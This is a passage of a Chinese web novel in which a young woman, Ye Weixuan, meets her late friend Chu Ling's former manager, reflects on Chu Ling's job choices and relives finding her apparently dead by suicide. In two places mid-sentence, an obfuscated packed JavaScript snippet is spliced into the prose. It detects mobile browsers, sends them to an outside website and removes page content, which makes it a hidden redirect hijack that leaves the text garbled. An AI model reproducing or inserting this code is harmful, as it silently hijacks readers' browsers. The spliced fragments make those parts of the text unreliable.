“没错,就是你的问题。”她越说越生气,声音渐渐变大。隔壁桌的小女孩耸起眉毛,求助似地叫了一声“妈妈”。她强忍怒意,压低声音道,“说到底,你不过是为了你的前途。如果零零没有死,你也不会辞职,而是会高兴的出国深造。她在你心里算什么呢?一个不必在意的过客吧!” 19. 牛津词典6 “那孩子太傻了。”可能是觉得这么说不合适,对面的女人没有继续说下去。她很冷静,没有因为叶微瑄的质问而恼怒。从始至终,她的目光中只有后悔和愧疚。“其实小楚自杀,我是有点意外的。”她换了说辞。 “为什么这么说?” “她知道我的难处。” “你的意思是……” “我找过她。不,准确的说是我求过她。我让她先把这件事认下来,我会给她补偿。除了金钱方面的资助,我承诺年后帮她找工作。这些年我也攒了不少人脉,帮小楚在友商公司找份工作不难。” “她没同意?” 对方点头又摇头。“她说会考虑我的建议,但年前不能离职,除非找到明确且合适的下家。现在你明白我为什么对她的自杀感到意外了吧?她看到了最坏的可能,并做好了接受的心理准备。” 叶微瑄沉默不语。楚零确实不是自杀,但无论是否破案,她都不想告诉对面的人,至少现在不想。 “请你相信我,我说这些不是为自己开脱。结果无法改变,得知她自杀后,我崩溃大哭,最终辞掉店长的工作。我没办法原谅自己,只要进到卖场就无法安心。是我毁掉小楚的信念和希望,是我杀了她。”对方说的是真心话,叶微瑄看见,硕大的泪珠从女人的眼角涌出。 “妈妈,那边的姐姐哭了。”邻桌小女孩噘着嘴,用手指着她们。她的父母朝叶微瑄二人露出一个抱歉的微笑,随即用精致的甜品转移小女孩的注意力。 “小姑娘很可爱。”女人擦掉眼泪,吸了一下鼻子,“昨天警察找到我,说郭宇、杨浩鑫已经交待了,周一会约谈区域子公司的人。背负罪恶惶恐度日令我感到筋疲力尽。不瞒你说,警察找我的那一刻,我竟感到一丝轻松。那是一种解脱,就像在告诉所有人:我就是没有管理能力,就是自私。你们现在知道我是什么样的人了吧?我终于不用装了。” 她自嘲地笑出声音,抬头看向叶微瑄的眼睛。“没有了包袱,我想着回卖场看看。源于内心的罪恶感,辞职后我从没有回来过。今天看见你的时候,我吃了一惊,公司新来的兼职竟然是小楚的朋友。你来卖场兼职是有目的的吧?” “是。”叶微瑄没有否认。面前的黄咖喱早就凉了,失去热气的米饭也干巴巴的。 “利用员工价倒卖产品的事是你告诉警察的?” 好像没必要向对方隐瞒,她又答了一个字“是”。 “那么一切就说的通了,你可真勇敢。”女人由衷地夸赞道,“你放心,那家店与我没关系了,我是不会告诉别人的。对你说这些,也是抱有赎罪的心理,你想骂我就尽情的骂吧。等案子彻底结束,我打算出国留学。我想明白了,与其等着别人安排机会,不如自己去创造。我为自己没有上大学感到遗憾,现在有能力了,我想去弥补这个遗憾。” “可零零却没有弥补遗憾的机会了。”——叶微瑄数着碗中的米粒,在心里说出这句话。“就算你告诉同事也无所谓,我下周可能就辞职了。”她闷闷地说,“来卖场工作一是为了案子,二是想了解零零生前的工作环境。你不知道她有多喜欢这份工作,为此天天学习英语。” “难怪……她的英语很好,尤其是口语,非常流利。” “啊?”倒也不至于吧,叶微瑄有些困惑。楚零的英语是不错,但仅限于笔试,口语水平不如她,更称不上流利。对方是因为愧疚才这么说的吗?人一旦愧疚,真是什么鬼话都能说。 “啊什么,你不知道吗?”女人掏出手机,“我们公司曾和某大学的来华留学生举办过运动派对,小楚是主要负责人,因为她是员工中英语最好的。”她点开相册中的视频,“你看。” 视频是十月中旬拍的,那时正值金秋,燕京城飘满金黄色的银杏树叶。“大家来这边集合。”画面中,楚零站在草坪中央,举着红色的小旗子,用一口流利的英语招呼所有人,“咱们先做几个有趣的破冰分组游戏。”她的英文几乎没有口音,语气腔调与欧美人无异。 “破冰分组游戏都有什么?”一位个子很高、有着一头棕色卷发的留学生问。 “‘五毛一块’、‘寻找拼图’……”楚零用英文解释游戏的具体规则,留学生们很兴奋,高兴地叫嚷着,场面很是热闹。 零零的英语什么时候这么好了?叶微瑄有些疑惑,更是把不解表现在脸上。对面的女人又给她看了两段别的视频,一段是楚零在会上用英语做的销售业绩说明,另一段是楚零用英文演示PPT。 “我曾把视频发给子公司事业部的人,他们非常看好楚零。其实公司每年都有去海外学习的名额,我是因为学历和工作岗位的原因才这么晚获得。但小楚不一定,上级将她列为重点培养对象,她很快就能迎来首次公费出国的机会。” “我都不知道这家伙这么优秀。” “是啊,除了……”对方的肩膀向下一沉,“太实在。” 这年头,“实在”快成贬义词了。叶微瑄没有否认对方的观点,楚零就是这样一个实在的人,和她的父母一模一样,甚至和顾锵然也有几分相似。她不图回报,全心全意待人。 “没办法。”叶微瑄说,“她周围都是这样单纯的人。我指的是她的父母和男朋友。” “这样啊……”对方提起棒球帽,向后捋了下头发,“嗯……”然后意味深长地点头,“小楚的男朋友……”她好像想起什么,眼底流露出担心的神色。 “怎么了吗?” “小楚偶尔会和我提起男朋友的事,我能感受到那是一个很老实的男孩,没记错的话应该是叫顾锵然?” “是的。” “小楚去世那周的周二,顾锵然来卖场找过她。那天我给小楚介绍了几份新工作。我们从办公区出来时,那男孩站在收银区脸色不太好。我以为是小情侣吵架,就赶紧走了。只是第二天,小楚就请病假了。万万没想到,那个周二是我最后一次见到她。” 有这事?听对方的意思,楚零请假是因为顾锵然。“零零不是感冒了吗?” “是。她是感冒了,但不严重。小楚在卖场工作的这几个月,从没请过病假。我们公司有带薪病假,而且可以调班。有几次我看她痛经疼的厉害,劝她回家都被拒绝了。这次感冒也是,她说没有大碍。我觉得挺奇怪的……你说……” 叶微瑄有些茫然。她找到手机,打开微信,犹豫几秒后在搜索栏中输入楚零的名字。聊天记录停留在楚零出事那天的早上,最后的内容是叶微瑄发的几张照片,以及一段文字——“零零,你是自己在家吗?如果是就别点外卖了。我熬粥,等会儿过去看你。” 鼻子酸酸的,眼眶周围胀的生疼。除非是配合警方调查,叶微瑄从不翻看她们的聊天记录。那个喜欢发可爱表情的女孩已经走了,那些跳跃的卡通形象曾生动演绎着对方的心情,快乐、难过、生气、无可奈何,无论是什么情绪,表情背后代表的都是一个活生生的人。 和锵然吵架是很久以前的事了呀,原因是顾锵然不穿新鞋。她翻看聊天记录,泪水毫无征兆的落在手机屏幕上。他们那周没有吵架呀,零零为什么会请假? “你还好吗?” 对面的人在和叶微瑄说话,但她没有听见。她关掉与楚零的对话框,点开多人群聊。群的名字是“要在燕京买楼”,是马暗尘起的。群里一共五个人,她、楚零、陶涂涂、顾锵然和马暗尘。真是后知后觉,楚零出事的那周,这个群很安静。 不好的预感笼罩在心头,她怔住了。楚零手腕上的伤好像找到了合理的解释。虽然不知道原因,但能让楚零做出如此举动的恐怕只有她的男朋友——顾锵然。 “大姐姐,别哭啦。” “……” “大姐姐,我有糖糖。” 稚嫩的声音出现在耳边,叶微瑄扭头。邻桌的小女孩站在她旁边,高高地举着双手,掌心放着几块水果糖。“给你。”她眨着眼睛,表情很是期待。 叶微瑄恍惚了一下,抬头看向对方的家长。那对夫妇朝她笑了笑,目光充满善意。 “谢谢你,姐姐没事。”叶微瑄回馈对方一个笑容,低头拿了一块糖。小女孩转而看向另一边,“这位姐姐也吃。”手里的糖都送出去了,她高兴地跑回父母身边,激动的差点摔了一跤。 “你还好吧?” “没事。”叶微瑄将糖放进嘴里,一股浓郁的奶油草莓味。“我吃好了,差不多该回家了,明天有面试。”她想一个人静静。 女人“嗯”了一声,买了单。“这是干嘛?”面对叶微瑄的AA提议,对方连声拒绝,“说好的,我请你。我对不起小楚,该我请。” “那就更不能了。给我你的收款码, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16506586|186084||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我扫你。”叶微瑄伸着手机,没什么表情,“我只是零零的朋友,不能替她原谅你。所以很抱歉,我无法接受你的好意。” “若是因为你呢?你就当我刚刚说错话了吧。” “因为我?” “是啊。被罪恶感折磨是很痛苦的,我越想将它埋藏在内心深处,它越是要跳出来指责我。是你把倒卖产品的事告诉警察的,而我也因为你的所作所为得以解脱。” 听对方这么说,叶微瑄将手伸了回来。她的心情有点复杂,不知该以什么样的心态面对对面的女人。从始至终,对方的态度都很真诚。她讨厌不起对方,但也谈不上喜欢,毕竟对方伤害了她最好的朋友。 隔壁桌的一家三口走了,她笑着和小女孩说了“拜拜”,拿起身边的包。“零零的案子有疑点,你不必过分自责。”说这话时,她盯着脚下大理石的纹理轻吐一口气,果然还是说出来会比较轻松。 “啊?”女人露出一个迷惘的眼神。 “具体的我也不清楚。警方在调查,等他们的结果吧。”她起身,看向对面,“都不知道你叫什么,如果想知道结果,可以加个微信。” “不重要了。” 叶微瑄没想到,这位前店长拒绝了她的提议。对方说,她不想再和案子有任何瓜葛。不管警察的调查结果如何,做错的事就是错了,她不会否认。她给楚零造成的伤害是无法挽回的。她不是一个好的领导,对楚零的离开也无能为力。可能是自私吧,但生活总要继续。今天过后,她不会再来这家卖场,这里的一切对她来说都将成为过去。她和叶微瑄也不会再见面了。 对方说完这番话就走了。叶微瑄望着女人渐渐消失的背影,站在原地待了一会儿,转身走向地铁口。 …… 周日晚上的地铁人不多,是每周相对空闲的时段。人们提到星期天多是伴随轻松愉悦的心情,只是真的到了这一天,快乐会随着时间的流逝渐渐消失。新的循环即将开启,期待会回到原点,因为第二天是上班的日子——星期一。 “不想出去了,明天是周一。”叶微瑄现在能理解人们说这句话时的心情了。明天仅仅有个面试,但此时此刻,她对家的向往比任何时候都迫切。 运营低峰时段,地铁的车次不多,六分钟才有一趟。乘客零散地站在安全门的两侧,有的在低头玩手机,有的则是对着墙上的广告发呆。叶微瑄走向列车中段对应的位置,这边人最少,与她一同候车的只有两个学生模样的男生,两人正激烈地讨论着什么。 初中生小屁孩。很快,她在心中做出判断。两个男孩的话题是游戏和动漫,话里话外没有提到任何女生的名字。要是他们能保持这样的心智就好了,世界或许能和平许多。地铁进站,她瞥了那两人一眼,坐到远离门口的位置。 车厢的暖气很足,穿羽绒服有点热。她拉开拉锁,抱着包靠向椅背。地铁穿梭在颠簸的隧道中,车轮与铁轨摩擦产生的嘶鸣声令人感到舒适。可能是困了,她收紧胳膊,打了一个哈欠。站与站之间的距离很短,万年不变的报站声频频响起,听上去竟有些亲切。 “你不懂。”两个男孩坐在她的斜对面,其中一个对另一个说道。可能是处于变声期,男孩沙哑的声音和稚嫩的表情不是很匹配。“去晚了就买不到了。”对方指的是限量版手办,“我哥前两天抢到一个,巨帅。我可想要了。” “好吧,那下周六你叫我,正好我想逛‘谷子’。” “没问题,你可别起不来。” “肯定起。” “成!” 对话听着耳熟,叶微瑄努力睁了睁眼睛,看向前方的玻璃。楚零的笑脸浮现在玻璃上,她好像想起什么。 很快,那张脸越来越清晰,声音也越来越真实。 “小瑄,快起床嘛!” “再睡一会儿,五分钟。” “别睡了,晚了人该多了,爬完长城还要去鸟巢和水立方呢。” 简直就是特种兵训练般的安排。“一分钟,就睡一分钟。” “一分钟到了。” “再一分钟。” “好吧,那我走了。” “别!” 她猛地坐起身,睁开双眼。楚零就坐在她的对面,正一脸笑意地看着她。“快去洗漱,我来收拾东西。”说完,对方起身朝客厅走去。 20. 牛津词典 7 爬长城、逛故宫、参观鸟巢和水立方……是叶微瑄毕业前就答应楚零的。楚零的男朋友会不会介意?她曾有过这样的顾虑,但楚零叫她不必担心,顾锵然没毕业就工作了,根本没时间陪她。 “锵然下班就喊累,只想回家休息。”楚零向她抱怨过男朋友,事实也正如对方所说。“幸好有你在。”初到燕京的那阵子,楚零常这么说,当然也不全是因为忙碌的男朋友。 叶微瑄前往卫生间。楚零在客厅走来走去,茶几上堆满出行要带的东西。 “要抓紧最后能玩的时间,工作后就该忙了。”楚零拿着一包湿纸巾,“爸妈让我多拍点长城的照片,他们没来过燕京。”她心情不错,难得话多。叶微瑄知道,愉快的心情不止是因为要出去玩,更重要的是,对方已经拿到两家公司的Offer。 第一份Offer来自互联网公司,是楚零前几天收到的,工作内容与产品运营相关。楚零一向是个含蓄内敛的人,喜怒不形于色,但叶微瑄仍记得对方收到Offer的当天,激动得大喊大叫的样子。“除了发展空间受限,其他条件都不错,十三薪。”当时楚零兴奋地介绍道。 就在她以为楚零会接受这份工作时,第二份Offer来了,是一家制造业公司的行政管理岗。“试用期工资3500元,但是有员工宿舍和食堂,稳定且有发展空间。”仅隔一天,对方聊起新Offer的表情较之前就已淡定很多。 “互联网公司多好呀,同事都是年轻人。制造业听着就很老气,感觉是要进厂拧螺丝呢。” “哈哈哈”,当时两人因叶微瑄的玩笑话笑作一团。不过楚零没有急着决定,还有两三家公司很快会出面试结果。 “发什么呆呢?快去洗漱。” 楚零催促的声音打断叶微瑄的思绪。她“嗯”了一声,走进卫生间拧开水龙头,往脸上撩了点水。偏见了,制造业或许也不错——大概是对方又提起“工作”两字,这个想法伴随水流在叶微瑄的脑海中一晃而过。 正值盛夏,燕京十分炎热,爬长城得做好万全的准备。瓶装水是必要的,纸巾、湿巾、创可贴、防晒……另外,证件也要备好。叶微瑄从卫生间出来时,两人的书包已装的满满当当。 “咱们不用带这么多东西。长城有缆车,我请你坐。” “不要。”楚零坐在沙发上,双手交叉在一起,“坐缆车没意思,我想爬上去,那可是长城。” “所以?一堵墙而已。” 叶微瑄初中时,学校组织去过长城。那会儿国内游客不多,她和同学背着书包在破旧的城墙上疯跑。她记得,长城有很多外国人,她从没见过那么多的外国人。那天她没能感受到长城的宏伟和震撼,相比之下,与老外合影、与同学追逐打闹好像更有意思。灰突突的墙壁、坑坑洼洼的台阶、全是老外,以上就是长城留给她的全部印象。 好像说了扫兴的话,叶微瑄自觉不妥,又找补了一句:“咱们明天去故宫,故宫有意思。” “好呀。”楚零咧开嘴角,丝毫不介意叶微瑄刚刚说了什么。 长城景区位于燕京西北方向的郊区,距叶微瑄父母家有70多公里。叶微瑄和楚零要先倒两次地铁,再搭乘直达长城的公交车。两人不到七点就出门了,抵达长城时是九点多。还没爬,叶微瑄就已经有点累了。 “我帮你背水。” “不用啦。” 楚零说要留纪念,二人便买了纸质门票。对方很兴奋,快步走向检票口,将络绎不绝的人群甩在身后。叶微瑄紧紧地跟着对方。今天天气不错,蓝天白云,千山一碧。青灰色的城墙蜿蜒向上,宛如一条盘卧于崇山峻岭间的巨龙。 “这可不是一堵墙。”楚零拉着叶微瑄从第一级台阶向上爬,“我早就想来长城了,我爸妈也是。以前觉得课本上的地方遥不可及,现在终于能亲眼见到了。小瑄,你知道这种感觉多神奇吗?” 叶微瑄望着对方干净的眼底想了想,摇头。 “是长大的成就感。离开家乡走进大城市,见到这些宏伟的建筑,触碰到历史的温度。”楚零摸着粗糙的墙壁,扭头笑道,“可以回首的过去,值得期待的未来,我的世界变大了。”她很开心,眼睛笑成一条缝,缝隙中闪耀着光芒,炽热又明亮。 可能是被楚零感染了,叶微瑄也觉得今日的长城与初中时见到的不大相同。除了游客变多了,修整过的台阶好走了,沿着城墙行走在山脊上,她似乎还多了一些别的感受,就比如:古人抵御外敌时的决心。 果然是长大了,她心想。 天气炎热,两人带的水很快喝完了,不过爬长城没有想象中的累。“爱你!”她们大笑着自拍。“你挡我脸啦!”偶尔也会吵吵闹闹,“耶——”不到两个小时,她们拍了很多照片,大概也就几百张吧。 “我把照片发给爸妈了,他们说真好。”二人站在烽火台的角落,楚零小声念出手机屏幕上的内容。微风吹过,带来夏日难得的清凉。“等你在燕京稳定了,我和你爸找机会过去看你。” “来呀,我请叔叔阿姨吃饭。” “干嘛?着急见家长呀?” “哈哈哈”,叶微瑄轻轻打了对方一下,“才不敢呢,你家锵然会杀了我的。” 两人休息了一会儿。就在准备往回走时,一对背着登山包的外国人站到她们面前。外国人个子很高,看着得有一米九。其中一人用中文问候了一句“你好”,随后用英语问她们能不能帮忙拍一张照片。 “可以呀。”叶微瑄用英语答道,“你们要以哪边为背景?”她的口语虽是青涩,但对方听懂了。 站在城墙边缘,很难拍出长城的宏伟。几张照片后,外国人热情地邀请她们合影,叶微瑄欣然同意。“来,零零。”她一把将楚零拉到身边。 楚零的表情有些拘谨,脸红的像盛夏的苹果。“好,哦不,Ok.”她语无伦次的,慌慌张张地在叶微瑄身边站好。 “晚点会把照片发给你。”外国人要了叶微瑄的邮箱地址,与她们告别。 故宫、鸟巢、水立方……叶微瑄履行诺言,带楚零逛遍四九城。虽然是在家门口,但这几天的经历就像是一场意义非凡的毕业旅行,尤其是对身在他乡的楚零而言。只是楚零不舍得买特产,叶微瑄倒是买了不少,最后逼着对方给家里寄了一些。叶微瑄自己也有收获,她们去逛了市区最大的花鸟鱼虫市场。她买了几条漂亮的孔雀鱼。 她们后来还去逛了其他景点,有的叶微瑄也没去过,比如:恭王府,据说是清朝大贪官和珅的府邸。计划外的景点是陶涂涂的主意。对方找到工作了,在一家医疗器械公司做销售,趁工作前和她们聚聚。 这天之后,楚零收到人生中的第三份Offer,来自一家体育用品零售公司。该公司在国内拥有多家运动卖场,也有线上商城。在实体经济不景气的当下,这家卖场拥有稳定的线下客流,仍处于市场扩张阶段。 福利待遇高于制造公司,发展空间强于互联网公司。面对新Offer,楚零犹豫了。在此之前,她的心已偏向互联网公司,就差给人力回复邮件了。 该怎么办?楚零无法向务农务工的父母寻求意见,因为不得不承认的是,在高速发展的信息化社会,父母能接收到的前沿信息十分有限,甚至可以称为闭塞。另外,她也不想看到父母无法给出建议时尴尬且自责的表情。 “锵然劝我去体育零售公司。”收到第三份Offer有几天了,几家公司都在等楚零的回复。她不想再拖了,要尽快工作才行。“这家公司确实不错,但前期要去门店工作。” “啊?大学毕业当销售啊?你学的是工商管理,以后可是CEO。” “哈哈,什么嘛,还早呢。锵然和我说,体育是一个永远不会被淘汰的行业,经济和科技越发达,体育行业的发展就会越好,那是精神文明产物。会有越来越多的人参与运动,最不愁卖的就是运动类产品。现在大家不是喜欢聊人工智能嘛,人工智能能帮咱们处理工作,打扫卫生,可无法帮咱们锻炼身体。未来也一样。” 有点道理,叶微瑄笑出声音,四仰八叉地躺在沙发上。父母去上班了,家中只有她们两人。她心想:顾锵然有时确实会说出颇有道理的言论。“锵然看的很远。”楚零常这么说。但那番言论和零零的工作有什么关系呢?不被淘汰的是行业,又不是具体工作。在叶微瑄看来,对方的话说的很大。“我不建议你去运动卖场。”她直截了当地回应对方。 “为什么?”楚零有些惊讶。她坐在餐桌旁,面前放着电脑,手里不停地敲打着。叶微瑄很少如此直白地劝阻她,今天不知道是怎么了。 “制造公司挺不错的。” 就算不是体育用品零售公司,最优选择也是互联网公司呀。楚零的表情越来越迷惘。“小瑄,你之前不是反对我去制造公司吗……” “是,但我最近稍稍了解了一下制造业,打算改变之前的看法。制造业是基础产业,小到螺丝,大到汽车、飞机,还有高速发展的人工智能和集成电路,都是制造业。咱们住的房子,用的锅碗瓢盆、手机电脑,哪个行业不需要制造业的支持?” 确实都需要。“可是……” “抛开行业不说,就说你自己。那家制造公司提供员工宿舍,能帮你省房租。虽然试用期工资只有3500元,但你是纯挣。若是去零售公司或者互联网公司,你还要自己租房子,最后手头能剩多少?” 可能是觉得叶微瑄说的有道理,楚零停止敲键盘的动作,扭头看向她。公司提供住宿是好事,但楚零有自己的顾虑。公司位于远郊的工业园区,在长城脚下。对于住市区的人来说,通勤时间太久了。这意味着若是选择制造公司,楚零只有周末能回燕京市区。 “你是在担心锵然吗?”叶微瑄看破对方的心思。她坐起身,抱起双臂。 “是。若真去了郊区,就只能周末见面了。这和异地恋有什么区别?” “现在呢?” “啊……” 叶微瑄苦笑了一下。楚零到燕京的这些日子,顾锵然罕见露面。周中大部分时间他们是不会见面的,楚零只是偶尔会去顾锵然单位等对方下班。不过他们会在酒店开房间,一起过周末。 “不会有任何变化,不是吗?”她摊开双手,歪着脑袋看对方。 “好像是啊。”楚零的嘴唇微微蠕动,几乎听不见声音。 零零听进去了吧?叶微瑄没有打扰对方思考,假装玩起手机。房间安静了一会儿,窗台附近传来轻微的水流声,是鱼缸过滤器在工作。 “嗯——”一声长叹打破二人间的安静。楚零眨巴着眼睛看向她,随即扑哧一笑。 “笑什么嘛?” “小瑄,咱俩天天见面,怎么感觉你突然变了?”对方笑着坐到她身边,抬起她的下巴,仔细端摩。“前两天叫我不要去拧螺丝,现在又像个大人一样劝我进厂。老实交代,你这两天受什么刺激了?” “哈哈,才没有。”叶微瑄也笑了,就是鼻子有点酸。她一把打掉楚零的手,“我是深思熟虑后才这么说的。就用找工作失败的我来举例子……” “别这么说,你哪里失败了。” 她没有理会对方。“零零,我一直没找到合适的工作,思来想去,只能用好高骛远来形容了。”茶几上摆着一碗荔枝,她随手捡起一颗。“说句实话,你和我都有不得不面对的现实。我们需要生活,能明白我的意思吗?”她剥开荔枝递给对方。 又是一句大实话。楚零将荔枝含进嘴里,沉默着点头。她明白叶微瑄的意思。她的经济条件有限,去制造公司是当下最好的选择。生活会宽裕很多,未来的生活压力也比较小。“让我想想。”她小声说道,“我会好好考虑你的建议。” “真哒?” “当然了。”荔枝很甜,楚零表情明朗,“小瑄,你对我真好。” 叶微瑄抬起头,在对方纯净的眼睛里看见了由衷的感激。 …… 如果事情总能和人们预想的一样,世界就不会有意外了。 小区路面翘起的地砖绊倒了追逐打闹的孩童,他捂着脑袋,坐在地上大哭。打算去买菜的中年女人停下脚步,露出关切的目光。“这孩子!”孩子的姥姥急的满头大汗,小跑向哭声传来的位置。人们围了过去,七嘴八舌的同时,物业成为众矢之的。 “太差劲了,收钱不干事!”不知是谁骂了一句。身着黑西服的物业人员掏了掏耳朵,朝众人露出一个抱歉的微笑。人行步道围满了人,引起骑车大爷的注意。他扭头张望,不小心撞到飞奔的外卖小哥。饭撒了一地。鸡腿肉、鱼豆腐、娃娃菜,好像是哪个“倒霉蛋”点的麻辣香锅,酱香味的。 小孩摔了,女人买菜迟了,物业工作人员挨骂了,小哥被撞了,有人要挨饿了。意外——无时不刻的发生,而且总是来的这样突然。 “好吵啊!”叶微瑄起身关上窗户。窗户质量不错,将哭声、叫骂声、吵架声隔绝在窗外。只是……她扭头看向坐在沙发上的人,家中氛围没有比外面好到哪去,楚零已沉默良久。 她的好朋友和男朋友吵架了,因为工作。 或许是叶微瑄的话起了作用,或许觉得那是最好的选择,楚零最终决定接受制造公司发给她的Offer,入职公司的行政管理岗。就在她欢天喜地的告知男朋友决定时,顾锵然的态度却泼了她一盆冷水。 “我不想你去。”顾锵然说。 顾锵然的理由很简单,明明市区有不错的工作机会,为什么要跑去郊区?若是挣得多也就算了,一个月才3500元。所谓行政管理岗,就是帮其他人打印文件、管理办公用品,这是大学生该做的工作吗? “锵然怎么能这么说呢?”叶微瑄小声抱怨。她似乎没什么底气,毕竟不久前她也有过类似的想法。大学生是社会的栋梁,应该是公司的管理者。“零零,你别生气,我去劝劝锵然。” “不用。”楚零将脸埋进掌心,摇摇头,语气十分无力,“不怪他。他说了很多理由,但我知道他只是想留我在身边。”楚零了解自己的男朋友,“他说他工作很累,有时下班就想看到我。” 真是妈妈的好大儿。叶微瑄看了一眼天花板,一时语塞。那确实是顾锵然会说的话,对方对楚零是真好,依赖也是不同寻常。这事不好直接劝。将心比心,若换做是她,她也会为难。这可能是部分人科雌性动物的特质,母爱会对不同年龄的人无差别释放。 不过,她坚持自己的观点——楚零不能去体育用品零售公司,绝对不能。 “你不会动摇了吧?”叶微瑄小心翼翼地问。 “不知道。” “零零,锵然虽然是我的朋友,但我必须要说,咱们可不能因为爱情放弃自己的人生选择。第一份工作对咱们来说很重要,千万别冲动。你要选的工作应该是最适合你的,而不是最适合他的。” 楚零把脑袋埋得更低了。整整一个下午,她一语不发。 周末,楚零没有像往常那样出门。她抱着枕头躺在床上,始终保持沉默寡言的状态,连饭都没怎么吃。叶微瑄很是担心,便给顾锵然发了消息。对方只回了一句——“那是我和零零之间的事,与你无关。”这是什么意思?太令人生气了!叶微瑄愤懑不平地心想。 空调调到了20度,奈何窗外骄阳似火。持续压抑的气息填满不大的房间,活跃且躁动,就像发动机气缸中被压缩的燃料混合物,点燃只在一瞬间。 叶微瑄越想越生气,将空调又调低两度。她替自己的朋友感到委屈。顾锵然平时没时间陪楚零,现在楚零要去郊区上班,他不乐意了。凭什么?她想起很多事,心中的不满积攒成满腔怒火。“什么人啊!”她大声发泄不满,用力将手机摔在床上。 “小瑄。”楚零翻身,目光落向无辜的手机,仍紧紧地抱着怀中的枕头。她的语气很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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朋友的工作得到妥善的解决,她也要努力了。叶微瑄终于关心起自己的事,有家人工智能研发公司邀请她面试,她都快忘了。就是这家公司迫使她深入了解制造业,看到了新兴制造行业的发展前景。 “高楼林立,幻彩霓虹,新能源飞行器穿梭在深入云海的摩天大楼间。工人戴着布满脑机接口的头盔,将神经元释放的电波传送给计算机,使其发出指令。远在千里的机器人感应到人类的召唤,扬起机械臂,进行危险而又极限的勘探工作。” “哈哈哈。”面试现场传来哄笑声。 “科技和经济的快速发展能够提高社会运行效率,并促使精神文明的进步。在未来社会,更多的人会从事竞技体育和艺术创作工作,那是AI替代不了的。或许AI可以模仿,但机械般的动作无法复刻人类优美的体态,千篇一律的作品也取代不了人心。新媒体创作也一样,没有情感的作品就像失去灵魂的生命,空有一副躯壳。当然啦,AI可以做一些辅助性工作,比如:修图、查找错别字,虽然我还没有用习惯吧。我总觉得它会做偷窃的事,窃取我的创意。” 长条会议桌的对面再次传来大笑声。“现在的毕业生了不得,想象力极其丰富。咱们是老了。”身着灰色工作服的男人对一旁穿职业正装的女人说。前者是产品部的工程师,后者是人力资源部的经理。 除了他们,对面还坐着两个人,一个是市场部的经理,一个是公司总经理。一盆巨大的芭蕉挡住了总经理的脸,叶微瑄看不清对方的长相。 “行,今天先到这吧。”好像是总经理在说话。 “好的。”人力经理附和道,转而看向叶微瑄,“今天辛苦你了,我们会尽快告知你结果。” “好的,不辛苦,谢谢。”叶微瑄微微鞠躬,瞥了一眼市场部经理。对方朝她竖起大拇指,那眼神分明在说:“没问题的,等好消息吧。” 她连跑带颠地出了公司。此时夕阳西下,天边太阳火红而热烈。到家时,天完全黑了。菜香味弥漫在狭窄的走廊中,但不是从叶微瑄家飘出来的,而是邻居家,像是红烧黄花鱼的味道。 “爸妈?零零?”推开家门,房间空荡荡的,她叫了两声,没有得到回应。鞋柜上方挂着楚零的包,叶微瑄拉开柜门,楚零平时穿的鞋也整齐的放置在柜中,而她的鞋则是横七竖八的插在里面。她摆正横放的帆布鞋,不知压了多久,那双鞋从高帮变成了矮帮。 家中安静的不同寻常,叶微瑄前往客厅。红烧黄花鱼的香气渐渐变淡,取而代之的是一股腥味。做熟的鱼怎么会有腥味?不会是孔雀鱼死了吧。她前往窗台附近查看,鱼活的好好的。 她用力吸了吸鼻子,视线落在卫生间的门口。奇怪的腥味是从那边传过来的。 不祥的预感骤然萌生。她愣住了,仿佛动弹不得。那不是鱼腥味,她反复确认,那好像是血腥味。 她不知道自己怎么进的卫生间。恢复意识的时候,她已经跪坐在地上,身体在剧烈地颤抖。地板很凉,黏糊糊的,空气中弥漫着刺鼻的腥味。好恶心的味道,她捂着嘴,向一侧猛地呕了两下。 她胡乱地抹着脸,脸上湿漉漉的,不知是泪水、鼻涕,还是口水,又或者是鲜血。令人作呕的味道没能离去,反而越来越重。异样的感觉涌向胸口,令她感到窒息。她想大喊大叫,但面前惨烈的情形冲击着她的大脑,眼眶是酸的,鼻子是酸的,心脏在剧烈地跳动,她连张嘴的力气都没有了。 “零零……”她含糊不清地发出声音,听上去像是在呜咽。 她的面前,楚零跪在地上一动不动,右手握着剃须刀的刀片,左手泡在水池中。洗手池边缘全是血,对方半睁着眼睛,目光呆滞,脸庞发灰,没有一点血色。 叶微瑄大口地喘气,慢慢意识到一件事。她的好朋友——楚零,好像死了。 难道锵然要和零零分手?不可能,这一定是在做梦。她紧紧地闭上眼睛,试图改变眼前的现状。就在这时,卫生间的灯突然灭了,房间剧烈地晃动起来。楚零摔到地上。叶微瑄向前爬了爬,试图抓住对方,只是扑了一个空。 紧接着,灯亮了。 …… “圆明园站到了,请您带好随身物品准备下车。” 亲切的报站声响起,叶微瑄猛地抖了一下,睁开眼睛。原来是睡着了,她看着开合又关闭的车门,缓了缓神。对面空着一排座位,早已没有两个初中生的身影。 长时间保持一个姿势,浑身难免酸痛。她扭了扭脖子,瞥向其他人。车厢里仅剩几名乘客。靠门的男士穿了一身西装,正抱着柱子睡觉。车厢连接处坐着一对母女,女孩不到十岁,怀里抱着熊猫玩偶,估计是去动物园了。两人的表情很兴奋,可能是在聊有意思的话题。其余乘客不是背对叶微瑄,就是在打哈欠。 还好没人注意她。叶微瑄垂下脑袋,揉了揉眼睛。消极的情绪没有因梦醒而消散。梦是假的值得庆幸,可惜的是,真实世界似乎比梦境还要残酷。 当初楚零找工作时,叶微瑄没能向对方提出太多的建议,毕竟她也是个初入社会的小牛犊。她只是直白的告诉楚零,制造业听着很老气,卖场做销售大材小用,互联网公司更适合对方。显而易见,若是让她回到过去,她会收回关于制造业的那番言论。 